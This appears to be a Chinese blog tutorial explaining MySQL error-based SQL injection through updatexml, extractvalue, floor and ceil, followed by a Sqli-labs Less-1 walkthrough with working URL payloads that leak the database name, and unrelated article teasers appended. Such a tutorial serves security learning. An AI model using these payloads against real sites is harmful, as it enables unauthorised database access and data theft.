SQL Injection | SQL 注入 —— 报错盲注
关注这个漏洞的其他相关笔记:SQL 注入漏洞 - 学习手册-CSDN博客
0x01:报错盲注 —— 理论篇
报错盲注(Error-Based Blind SQL Injection)是一种常见的 SQL 注入技术,适用于那些页面不会直接显示后端处理结果的查询方式,比如 delete、insert、update。
报错盲注的攻击原理:攻击者通过向 SQL 查询中注入特定的函数,迫使数据库在执行查询时产生错误,并利用这些错误信息将攻击者所需要的信息回显回来。
0x0101:MySQL 报错盲注 — 相关函数
1. updatexml() — xpath 报错注入
1.1 updatexml() 函数简介
MySQL 中的 updatexml() 函数用于更新 XML 文档的指定部分并返回修改后的文档。在需要更改存储在数据库中的 XML 数据的情况下,它特别有用:
-- updatexml() 语法UPDATEXML(xml_target, xpath_expr, new_xml)-- updatexml() 参数解析xml_target : 将要被修改的 XML 文档xpath_expr : 指定要更新的 XML 文档部分的 XPath 表达式new_xml : 将替换 xpath_expr 指定的现有内容的新 XML 内容
以下是该函数的一个正确的使用示例:
-- 将原 XML 文档中的 <name>John</name> 替换为 <name>Blue17</name>select updatexml('<root><name>John</name></root>', '/root/name', '<name>Blue17</name>');

1.2 updatexml() 报错原理
使用 updatexml() 函数时,如果 xpath_expr 格式出现错误,则 MySQL 将会爆出 xpath 语法错误(xpath syntax),比如下面这个例子:
select updatexml('<root><name>John</name></root>', '<whoami>', '<name>Blue17</name>');

1.3 updatexml() 报错实例
以下是一个使用 updatexml() 函数进行报错注入的攻击实例:
select * from users where id=1 and updatexml(1,concat(0x7e,user(),0x7e),1);

2. extractvalue() — xpath 报错注入
2.1 extractvalue() 函数简介
MySQL 中的 extractvalue() 函数用于从目标 XML 文档中提取和查询指定部分的文档:
-- extractvalue() 语法EXTRACTVALUE(xml_document, xpath_expr)-- extractvalue() 参数解析xml_document : 包含 XML 文档的字符串或者一个列名xpath_expr : 指定要提取的节点的 xpath 表达式
以下是该函数的一个正确的使用示例:
-- 查询 XML 文档中的 /root/name 节点中的值SELECT EXTRACTVALUE('<root><name>Blue17</name></root>', '/root/name');

2.2 extractvalue() 报错原理
使用 extractvalue() 函数时,如果 xpath_expr 格式出现错误,则 MySQL 将会爆出 xpath 语法错误(xpath syntax),比如下面这个例子:
SELECT EXTRACTVALUE('<root><name>Blue17</name></root>', '~whoami~');

2.3 extractvalue() 报错实例
以下是一个使用 extractvalue() 函数进行报错注入的攻击示例:
insert into users values(4, 'Blue17', extractvalue(1,concat(0x7e,user(),0x7e)), 4);

3. floor() - 虚表主键重复报错
3.1 floor() 函数简介
MySQL 中的 floor() 函数用户返回小于或等于指定数值的最大整数:
-- floor() 语法
FLOOR(number)-- floor() 参数解析
number : 需要向下取整的数值表达式。可以是列名、数值、算数表达式或函数返回值。
以下是该函数的一个正确的使用示例:
select floor(4.7);

3.2 floor() 报错原理
floor() 报错注入的原理是 group by 在向临时表中插入数据时,由于 rand() 多次计算导致插入临时表时主键重复,从而报错。又因为报错前 concat() 中的 SQL 语句或者函数被执行,所以该语句报错时抛出的主键是 SQL 语句或函数执行后的结果。
关联函数
rand() / rand(N):产生 0~1 (包含 0 和 1)之间的随机数。若指定一个整数参数 N,则它被作用为种子值,用来产生重复序列。
count(*):返回表的记录数(行数)
concat():将多个字符串连接成一个字符串
group_by:根据 by 对数据按照指定字段进行分组(去重),会建立一张临时表。
ceil():向上取整
3.2.1 floor() 报错需要满足的条件
-
floor()报错注入在 MySQL 版本 8.0 已失效,据说在 7.3.4nts 中也已经失效了。 -
floor()报错注入中查询用到的数据表内的数据必须>=3条。 -
以下函数未被 WAF 过滤:
count(*)、floor() 或 ceil()、rand()、group by。
3.2.2 floor() 报错原理 - 前置知识
在介绍 floor() 报错原理之前,我们先来了解一下 MySQL 中的 count() 函数与 group by 结合使用时的工作流程。
首先,将下面的语句复制到数据库中,我们先搭建一个用于测试测环境:
-- 创建 users 数据表
CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, uname VARCHAR(50) NOT NULL, pwd VARCHAR(255) NOT NULL
);-- 插入测试数据
insert into users values(1, 'admin', 1);
insert into users values(2, 'admin1', 2);
insert into users values(3, 'admin2', 3);
insert into users values(4, 'admin', 4);

接下来,输入下面的语句,来看一下 count(*) 与 group by 联合使用的结果:
mysql> select uname,count(*) from users group by uname;
+--------+----------+
| uname | count(*) |
+--------+----------+
| admin | 2 |
| admin1 | 1 |
| admin2 | 1 |
+--------+----------+
3 rows in set (0.00 sec)
让我们来分析一下,产生此结果的流程(这对后续理解 floor() 报错注入很重要)。
当 count(*) 和 group by 碰到一起时,MySQL 会建立一个虚拟表,那时的工作流程如下:
首先 MySQL 会建立一个空的虚拟表,key 为主建,不可重复(这里的 key 你可以理解为 分组字段,比如 group by uname,key 就是分组字段,也就是 uname),此时的虚表长这样:
| key | count(*) |
|---|---|
接下来,MySQL 会根据分组字段到虚表的 key 中查询,如果 key 中没有相同的数据,就将该数据添加进虚拟表中,并设置 count 为 1。比如,此时分组字段是 uname,users 数据表中第一个 uname 值为 admin,虚表中的 key 中不存在 admin,所以就将此值直接添加进虚拟表中,并设置 count 为 1,此时的虚拟表长这样:
| key | count(*) |
|---|---|
| admin | 1 |
然后 MySQL 会继续查看 users 数据表的下一个 uname 值,如果该值在虚拟表的 key 中没有,则继续将该值添加进虚拟表中,并设置其 count(*) 值为 1:
| key | count(*) |
|---|---|
| admin | 1 |
| admin1 | 1 |
以此类推,直到碰到下一个 uname 的值为 admin 前,虚拟表中的数据如下:
| key | count(*) |
|---|---|
| admin | 1 |
| admin1 | 1 |
| admin2 | 1 |
如果在虚拟表的 key 中遇到相同的数据,则 MySQL 不会对数据进行插入,而是会对 count(*) 进行加 1 的操作。比如,此时在 users 数据表中又遇到了 uname 值为 admin,该值在虚表中是存在的,所以此时的虚表就变成了如下格式:
| key | count(*) |
|---|---|
| admin | 1 + 1 |
| admin1 | 1 |
| admin2 | 1 |
流程还是很简单的,下面我们开始真正进入 floor() 报错注入的原理。在此之前,请记住虚表的一个特性:主键不能重复!
3.2.3 group by floor(rand(0) * 2) 报错原理
该语句报错的主要原因如下:
-
group by产生的虚表中,主键不能重复。 -
rand(0)函数执行的比 group by 插入虚拟表的速度要快。 -
floor(rand(0) * 2)结果是存在规律的,规律为:0110110011....,主要是前五个。
MySQL 官方提示:查询的时候使用
rand(),该值会被计算多次!这里的计算多次,在
floor()报错中的理解如下:在使用
group by时,floor(rand(0) * 2)会被执行一次,如果虚表中不存在记录,插入虚表时会再执行一次。
为了便于理解,我们先举一个特殊的例子:
-- 01. 随便选择一个数据库,创建一个空表 test
create table test(id int primary key,uname varchar(20)
);-- 02. 插入两条数据,注意,只要插入两条
insert into test values(0, 'admin');
insert into test values(1, 'admin1');-- 03. 查看 test 表中的数据
mysql> select floor(rand(0) * 2),uname,concat(floor(rand(0) * 2), "Look Me") from test;
+--------------------+--------+---------------------------------------+
| floor(rand(0) * 2) | uname | concat(floor(rand(0) * 2), "Look Me") |
+--------------------+--------+---------------------------------------+
| 0 | admin | 0Look Me |
| 1 | admin1 | 1Look Me |
+--------------------+--------+---------------------------------------+
2 rows in set (0.00 sec)-- 04. 反直觉的:rand() + group by
mysql> select concat(floor(rand(0) * 2), "Look Me"),count(*) from test group by concat(floor(rand(0) * 2), "Look Me");
+---------------------------------------+----------+
| concat(floor(rand(0) * 2), "Look Me") | count(*) |
+---------------------------------------+----------+
| 1Look Me | 2 |
+---------------------------------------+----------+
1 row in set (0.00 sec)
上面 04 实例所展示的结果,是不是与我们的直觉相反,从 03 来看 concat(floor(rand(0) * 2), "Look Me") 查询出来的结果依次是:0Look Me 与 1Look Me,所以按照道理,在计数时,最终展示的表格内容应该如下:
| x | count(*) |
|---|---|
| 0Look Me | 1 |
| 1Look Me | 1 |
但事实却是,1Look Me 被计数了两次。接下来,我们来理理为什么会出现这种结果。
先来看看下面这条语句的执行结果:
mysql> select concat(floor(rand(0) * 2), "Look Me") from test;
+---------------------------------------+
| concat(floor(rand(0) * 2), "Look Me") |
+---------------------------------------+
| 0Look Me |
| 1Look Me |
+---------------------------------------+
2 rows in set (0.00 sec)
当我们为其增加 count(*) 和 group by 后 MySQL 的运算过程如下:
首先,MySQL 会建立一张虚表,concat(floor(rand(0) * 2), "Look Me") 是主键,里面的值不可重复(我们将 concat(floor(rand(0) * 2), "Look Me") 简记为 Key,方便讲解):
| concat(floor(rand(0) * 2), "Look Me") | count(*) |
|---|---|
floor(rand(0) * 2)结果序列:0110110011....
接下来,MySQL 会读取第一行 Key 的内容和虚表中的 Key 值进行比对,此时,MySQL 进行了第一次计算 concat(floor(rand(0) * 2), "Look Me"),得到结果为 0LookMe。MySQL 发现此值并不在虚表中存在,所以决定将此值插入到虚表中,并设置 count 值为 1。但是,就在 MySQL 准备将计算结果插入虚表时,由于 MySQL 的 Bug,导致 concat(floor(rand(0) * 2), "Look Me") 在插入之前又被计算了一次(第二次计算),导致 MySQL 实际插入的值为 1LookMe,此时虚表中实际的内容为:
| concat(floor(rand(0) * 2), "Look Me") | count(*) |
|---|---|
| 1Look Me | 1 |
接着,MySQL 读取第二行 Key 的内容和虚表中的 Key 值进行比对,此时,MySQL 第三次计算了 concat(floor(rand(0) * 2), "Look Me"),得到结果为 1LookMe,该值在虚表中存在,所以 MySQL 就会直接执行插入操作(因为值在虚表中存在,所以不会触发 rand() 多次计算的 BUG),所以此时虚表展示的最终结果为:
| concat(floor(rand(0) * 2), "Look Me") | count(*) |
|---|---|
| 1Look Me | 1+1 |
这就是为什么最终我们看到的,和实际我们想象的不一样的原因。
接下来,我们往测试表中再次插入一条数据,触发 floor() 报错:
insert into test values(2,'admin2');mysql> select concat(floor(rand(0) * 2), "Look Me") from test;
+--------+---------------------------------------+
| uname | concat(floor(rand(0) * 2), "Look Me") |
+--------+---------------------------------------+
| admin | 0Look Me |
| admin1 | 1Look Me |
| admin2 | 1Look Me |
+--------+---------------------------------------+
3 rows in set (0.00 sec)
继续之前的分析,MySQL 读取第三行数据,第四次计算 concat(floor(rand(0) * 2), "Look Me") 的值为 0Look Me,MySQL 发现虚表中没有该值对应的 Key,所以,准备执行插入操作。但是就在执行插入操作之前,由于 MySQL 的 Bug,其第五次计算了 concat(floor(rand(0) * 2), "Look Me"),导致实际插入的结果为 1Look Me,此时的虚表变成了:
| xconcat(floor(rand(0) * 2), "Look Me") | count(*) |
|---|---|
| 1Look Me | 2 |
| 1Look Me | ? |
可以看到,MySQL 认为自己插入的是 0Look Me,但是由于 Bug,导致实际插入的是 1Look Me,而 1Look Me 在虚表中是存在的,由于虚表的 Key 唯一的特性,所以 MySQL 此时就会产生报错:
select concat(floor(rand(0) * 2), "Look Me"),count(*) from test group by concat(floor(rand(0) * 2), "Look Me");

3.3 floor() 报错实例
以下是一个使用 floor() 函数进行报错注入的攻击示例:
select concat(0x7e,user(),0x7e,floor(rand(0)*2))x,count(*) from test group by x;

4. ceil() - 虚表主键重复报错
4.1 ceil() 函数简介
MySQL 中的 ceil() 函数用于返回大于或等于指定数值的最小整数:
-- ceil() 语法
CEIL(number)-- ceil() 参数解析
number : 需要向上取整的数值表达式。可以是列名、数值、算数表达式或函数返回值。
以下是该函数的一个正确的使用示例:
select ceil(4.1);

4.2 ceil() 报错原理
ceil() 报错注入的原理与上面讲解的 floor() 报错原理 一致,所以这里就不多说了。
4.3 ceil() 报错实例
以下是一个使用 ceil() 函数进行报错注入的攻击实例:
select concat(0x7e,user(),0x7e,ceil(rand(0)*2))x,count(*) from test group by x;

0x02:报错盲注 —— 实战篇
本节重点在于熟悉报错盲注的注入流程,以及注入原理。练习靶场为 Sqli-labs Less-1 GET - Error based - Single Quotes - String,靶场的配套资源如下(附安装教程):
实验工具准备
PHP 运行环境:phpstudy_x64_8.1.1.3.zip(PHP 7.X + Apache + MySQL)
SQLI LABS 靶场:sqli-labs-php7.zip(安装教程:Sqli-labs Less-1 GET - Error based - Single Quotes - String)
0x0201:第一阶段 — 判断注入点

靶场提示 Please input the ID as parameter with numeric value 要我们输入一个数字型的 ID 作为参数进行查询,那我们就按它的意思传入 id 看看网页返回的结果:

可以看到,服务器返回了对应 id 用户的登录名与登录密码。此时,我们可以再输入几个数据进行测试:
测试 Payload 01: ?id=1 # 结果: Your Login name:Dumb Your Password:Dumb
测试 Payload 02: ?id=2 # 结果: Your Login name:Angelina Your Password:I-kill-you
测试 Payload 03: ?id=2-1 # 结果: Your Login name:Angelina Your Password:I-kill-you
测试 Payload 04: ?id=1' # 结果: 报错

可以看到,当我们传递 Payload 04 给服务器后端时,页面显示了报错信息,并且还返回了部分后端的查询模板。
0x0202:第二阶段 — 报错盲注漏洞利用
既然能显示报错信息,那么本关我们就可以直接使用报错注入(使用 Union 联合注入也是可以的,但是,从本关的名称 Error based 就可以看出,本关的考点是报错注入),攻击 Payload 如下:
-- 获取当前服务器正在使用的数据库的名称
攻击 Payload: ?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+'
笔者备注: 0x7e 是字符 ~ 号,用于标识服务器报出来的数据。

可以看到,我们已经成功获取了当前站点使用的后端数据库的信息。以上,就是报错盲注的基本利用方式。后面想查啥,直接往报错注入的回显点里写就可以了,笔者在这里就不多说了。
相关文章:
SQL Injection | SQL 注入 —— 报错盲注
关注这个漏洞的其他相关笔记:SQL 注入漏洞 - 学习手册-CSDN博客 0x01:报错盲注 —— 理论篇 报错盲注(Error-Based Blind SQL Injection)是一种常见的 SQL 注入技术,适用于那些页面不会直接显示后端处理结果的查询方式…...
网络通信与并发编程(四)操作系统、进程理论、开启进程的两种方式
多道技术、进程理论 文章目录 多道技术、进程理论一、操作系统1.1操作系统1.2操作系统中的常见概念1.3操作系统的发展史 二、进程理论2.1同步、异步、阻塞、非阻塞2.2 进程的层次结构2.3 运行态、阻塞态、就绪态 三、开启进程的两种方式3.1使用Process创建进程的两种方式3.2 父…...
Java--集合(三)之vectorlinkedlisthashset结构
文章目录 0.架构图1.vector解析2.LinkedList分析2.1源码分析2.2迭代器遍历的三种方式 3.set接口的使用方法3.1基本使用说明3.2基本遍历方式3.3HashSet引入3.4数组链表模拟3.5hashset扩容机制3.6hashset源码解读3.7扩容*转成红黑树机制**我的理解 0.架构图 1.vector解析 和之前介…...
upload-labs Pass-04
upload-labs Pass-04 在进行测试前,先了解一下.htaccess文件 .htaccess文件 .htaccess是Apache网络服务器一个配置文件,当.htaccess文件被放置在一个通过Apache Web服务器加载的目录中,.htaccess文件会被Apache Web服务器软件检测并执行&…...
如何修改jupyter notebook的工作目录
1.生成配置文件: 打开Anaconda Prompt,输入如下命令 jupyter notebook --generate-config 用代码可以找到配置文件位置,如果没有填y可以生成。 2.修改配置文件: 修改jupyter_notebook_config.py的配置文件,需将c.Not…...
23种设计模式具体实现方法
提示:文章 文章目录 前言一、背景二、设计模式1、代理模式2、适配器模式2.1 总结 三、3.1 总结 前言 前期疑问: 本文目标: 一、背景 最近 二、设计模式 1、代理模式 参考的这篇文章,代理模式(Proxy) 同时这篇文章还引用了另…...
cisco网络安全技术第3章测试及考试
测试 使用本地数据库保护设备访问(通过使用 AAA 中央服务器来解决)有什么缺点? 试题 1选择一项: 必须在每个设备上本地配置用户帐户,是一种不可扩展的身份验证解决方案。 请参见图示。AAA 状态消息的哪一部分可帮助…...
数据结构练习题5(链表和栈)
1环形链表 II 给定一个链表的头节点 head ,返回链表开始入环的第一个节点。 如果链表无环,则返回 null。 如果链表中有某个节点,可以通过连续跟踪 next 指针再次到达,则链表中存在环。 为了表示给定链表中的环,评测…...
计算机网络408真题解析(湖科大教书匠)
09年...
uniapp+vue3+uview-plus修改默认样式
最近使用uniappvue3uview-plus开发微信小程序中,使用uview-plus自定义底部导航栏tabbar时,遇到修改默认样式不生效问题 使用传统的 ::v-deep、:deep、::v-deep,或者style标签中去掉scoped也是无效的,有好的方案欢迎交流ÿ…...
数控机械制造工厂ERP适用范围有哪些
在当今制造业高速发展的背景下,企业资源计划(ERP)系统已成为提升工厂管理效率、实现生产自动化与信息化的关键工具。特别是对于数控机械制造工厂而言,一个合适的ERP系统能够帮助其优化生产流程、提高产品质量、降低生产成本并增强市场竞争力。 1. 生产计…...
华为配置 之 Console线路配置
目录 简介: 知识点: 配置Console线路密码 1.密码认证模式 2.AAA认证模式 知识点: 总结: 简介: 使用PC模拟器与路由器相连(与交换机相连原理一样),在关机状态下,使用…...
小米等手机彻底关闭快应用
文章目录 快应用的是非最终措施:撤销快应用隐私协议配套措施:安卓去除开屏广告 无用的操作:载快应用小米手机无用,其他手机可以尝试的操作关闭唤起快应用服务打开防止误触、后台启动其他应用 其他措施:冻结、加密快应用…...
【每日一题】24.10.14 - 24.10.20
10.14 直角三角形1. 题目2. 解题思路3. 代码实现(AC_Code) 10.15 回文判定1. 题目2. 解题思路3. 代码实现(AC_Code) 10.16 二次方程1. 题目2. 解题思路3. 代码实现(AC_Code) 10.17 互质1. 题目2. 解题思路3…...
CMake与Qt4/Qt5的结合使用指南
CMake与Qt4/Qt5的结合使用指南 一、同时使用Qt 4和Qt 5二、Qt构建工具2.1 AUTOMOC2.2 AUTOUIC2.3 AUTORCC 三、<ORIGIN>_autogen目标四、Visual Studio生成器五、Windows上的qtmain.lib六、其他文章推荐 在CMake中,您可以方便地找到并使用Qt 4和Qt 5库。Qt 4库…...
TwinCAT3添加PLC轴,并建立PLC轴与NC轴的链接
右键PLC选项,点击创建新项 在弹出的对话框中,选择PLC Templates,然后选择Standard PLC Project,填写项目名称后点击添加 在PLC项目目录中右键GVLs,选择Add,添加Global Variable List(全局变…...
Linux操作系统如何制作U盘启动盘
在麒麟系统中有一款U盘启动器软件,它是用于制作系统启动U盘的工具,方便无光驱的电脑安装操作系统,也可以反复使用一个U盘,避免光盘的浪费。下面对该U盘启动器使用方法做详细讲解。 1.准备需要安装的系统镜像文件。 图 1 2.准备1…...
如何防止SpringBoot中的jar反编译?解决相关报错及踩到的坑
目录 1. 面对的场景 2. 方案 2.1 使用代码混淆 2.2 JAR包加密 3. 项目操作 4. 启动方式 5. 踩到的各种坑 5.1 java -jar xxx-0.0.1-SNAPSHOT.jar 没有主清单属性 5.2 Caused by: java.lang.IllegalArgumentException: Unrecognized option: -pwdfxw-jar 1. 面对的场景…...
Axios 基本使用
Axios 是一个异步请求技术,核心作用就是用来在页面中发送异步请求,并获取对应数据在页面中渲染 页面局部更新技术 Ajax 中文网站:https://www.kancloud.cn/yunye/axios/234845 安装: <script src"https://unpkg.com/axios/dist/axios.min.js"></script&g…...
前端大佬都在用的actionDelegationMiddleware究竟有多香?
作为一个前端开发者,我深知跨组件通信的痛点。今天,我要和大家分享一个让我眼前一亮的工具 - alovajs 的 actionDelegationMiddleware。这个中间件简直就是跨组件通信的得力助手!它让我们可以在任意组件中触发其他组件的请求操作,解决了很多麻烦。用了它之后,我感觉整个项目的架…...
KubeSphere 容器平台高可用:环境搭建与可视化操作指南
Linux_k8s篇 欢迎来到Linux的世界,看笔记好好学多敲多打,每个人都是大神! 题目:KubeSphere 容器平台高可用:环境搭建与可视化操作指南 版本号: 1.0,0 作者: 老王要学习 日期: 2025.06.05 适用环境: Ubuntu22 文档说…...
iOS 26 携众系统重磅更新,但“苹果智能”仍与国行无缘
美国西海岸的夏天,再次被苹果点燃。一年一度的全球开发者大会 WWDC25 如期而至,这不仅是开发者的盛宴,更是全球数亿苹果用户翘首以盼的科技春晚。今年,苹果依旧为我们带来了全家桶式的系统更新,包括 iOS 26、iPadOS 26…...
智慧医疗能源事业线深度画像分析(上)
引言 医疗行业作为现代社会的关键基础设施,其能源消耗与环境影响正日益受到关注。随着全球"双碳"目标的推进和可持续发展理念的深入,智慧医疗能源事业线应运而生,致力于通过创新技术与管理方案,重构医疗领域的能源使用模式。这一事业线融合了能源管理、可持续发…...
进程地址空间(比特课总结)
一、进程地址空间 1. 环境变量 1 )⽤户级环境变量与系统级环境变量 全局属性:环境变量具有全局属性,会被⼦进程继承。例如当bash启动⼦进程时,环 境变量会⾃动传递给⼦进程。 本地变量限制:本地变量只在当前进程(ba…...
Docker 运行 Kafka 带 SASL 认证教程
Docker 运行 Kafka 带 SASL 认证教程 Docker 运行 Kafka 带 SASL 认证教程一、说明二、环境准备三、编写 Docker Compose 和 jaas文件docker-compose.yml代码说明:server_jaas.conf 四、启动服务五、验证服务六、连接kafka服务七、总结 Docker 运行 Kafka 带 SASL 认…...
UE5 学习系列(三)创建和移动物体
这篇博客是该系列的第三篇,是在之前两篇博客的基础上展开,主要介绍如何在操作界面中创建和拖动物体,这篇博客跟随的视频链接如下: B 站视频:s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...
YSYX学习记录(八)
C语言,练习0: 先创建一个文件夹,我用的是物理机: 安装build-essential 练习1: 我注释掉了 #include <stdio.h> 出现下面错误 在你的文本编辑器中打开ex1文件,随机修改或删除一部分,之后…...
大数据零基础学习day1之环境准备和大数据初步理解
学习大数据会使用到多台Linux服务器。 一、环境准备 1、VMware 基于VMware构建Linux虚拟机 是大数据从业者或者IT从业者的必备技能之一也是成本低廉的方案 所以VMware虚拟机方案是必须要学习的。 (1)设置网关 打开VMware虚拟机,点击编辑…...
CMake 从 GitHub 下载第三方库并使用
有时我们希望直接使用 GitHub 上的开源库,而不想手动下载、编译和安装。 可以利用 CMake 提供的 FetchContent 模块来实现自动下载、构建和链接第三方库。 FetchContent 命令官方文档✅ 示例代码 我们将以 fmt 这个流行的格式化库为例,演示如何: 使用 FetchContent 从 GitH…...
GruntJS-前端自动化任务运行器从入门到实战
Grunt 完全指南:从入门到实战 一、Grunt 是什么? Grunt是一个基于 Node.js 的前端自动化任务运行器,主要用于自动化执行项目开发中重复性高的任务,例如文件压缩、代码编译、语法检查、单元测试、文件合并等。通过配置简洁的任务…...
